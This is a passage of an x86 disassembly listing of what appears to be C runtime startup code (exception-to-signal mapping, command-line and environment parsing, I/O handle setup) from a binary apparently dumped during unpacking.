loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2640000h
		nop

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2630AE0h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 2630CB2h
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2630AE0h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2630CFEh
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28D0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 26307F8h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		call	near ptr 26309DAh
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
